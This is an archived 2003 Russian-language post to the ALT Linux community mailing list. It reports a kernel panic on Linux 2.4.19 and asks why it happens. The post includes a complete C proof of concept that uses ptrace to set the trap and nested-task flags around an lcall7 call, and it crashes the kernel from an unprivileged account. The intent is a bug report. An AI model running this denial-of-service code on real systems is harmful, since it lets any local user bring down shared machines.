ALT Linux Community general discussions
 help / color / mirror / Atom feed
From: "Пушкин Сергей Алексеевич" <pushkin@asdg.ru>
To: Community <community@altlinux.ru>
Subject: [Comm] kernel panic из-за ма-а-а-аленькой программки
Date: Fri, 10 Jan 2003 09:19:12 +0600
Message-ID: <auto-000051228161@intranet.ru> (raw)

[-- Attachment #1: Type: text/plain, Size: 1514 bytes --]


Приветсвую, всезнающий All

Вниманию ядерщиков (или ядрёнщиков :)) )

Есть такая программка:

//-------------------------------------------------------------
#include <sys/ptrace.h>

struct user_regs_struct
{
   long ebx, ecx, edx, esi, edi, ebp, eax;
   unsigned short ds, __ds, es, __es;
   unsigned short fs, __fs, gs, __gs;
   long orig_eax, eip;
   unsigned short cs, __cs;
   long eflags, esp;
   unsigned short ss, __ss;
};
int
main (void)
{
   int pid;
   char dos[] = "\x9A\x00\x00\x00\x00\x07\x00";
   void (*lcall7) (void) = (void *) dos;
   struct user_regs_struct d;
if (!(pid = fork ()))
{
   usleep (1000);
   (*lcall7) ();
}
     else
     {
       ptrace (PTRACE_ATTACH, pid, 0, 0);
   while (1)
       {
           wait (0);
           ptrace (PTRACE_GETREGS, pid, 0, &d);
       d.eflags |= 0x4100;    /* set TF and NT */
       ptrace (PTRACE_SETREGS, pid, 0, &d);
       ptrace (PTRACE_SYSCALL, pid, 0, 0);
       }
     }
return 1;
}
//--------------------------------------------------------------

Компилируется и запускается.
В результате стабильный kernel panic даже от простого юзера
(честно говоря под рутом и не пробовал)

Сизиф от 25 декабря минувшего года
rpm -qa | grep kernel
kernel24-up-2.4.19-alt0.8
NVIDIA_kernel-up-2.4.19_1.0.3123-alt0.8

К чему бы это?

-- 
С уважением, Пушкин Сергей aka Stalker

UIN: 35113025
JID: stalker@jabber.ru

XMMS шуршит: MEGAHERZ - BEISS MICH

Скажите, здесь крыша не проезжала?

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]

             reply	other threads:[~2003-01-10  3:19 UTC|newest]

Thread overview: 4+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2003-01-10  3:19 Пушкин Сергей Алексеевич [this message]
2003-01-10  4:14 ` [Comm] " ASA
2003-01-10  7:58   ` Евгений В. Хорохорин
2003-01-10 12:14 ` Konstantin Volckov

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=auto-000051228161@intranet.ru \
    --to=pushkin@asdg.ru \
    --cc=community@altlinux.ru \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link

ALT Linux Community general discussions

This inbox may be cloned and mirrored by anyone:

	git clone --mirror http://lore.altlinux.org/community/0 community/git/0.git

	# If you have public-inbox 1.1+ installed, you may
	# initialize and index your mirror using the following commands:
	public-inbox-init -V2 community community/ http://lore.altlinux.org/community \
		mandrake-russian@linuxteam.iplabs.ru community@lists.altlinux.org community@lists.altlinux.ru community@lists.altlinux.com
	public-inbox-index community

Example config snippet for mirrors.
Newsgroup available over NNTP:
	nntp://lore.altlinux.org/org.altlinux.lists.community


AGPL code for this site: git clone https://public-inbox.org/public-inbox.git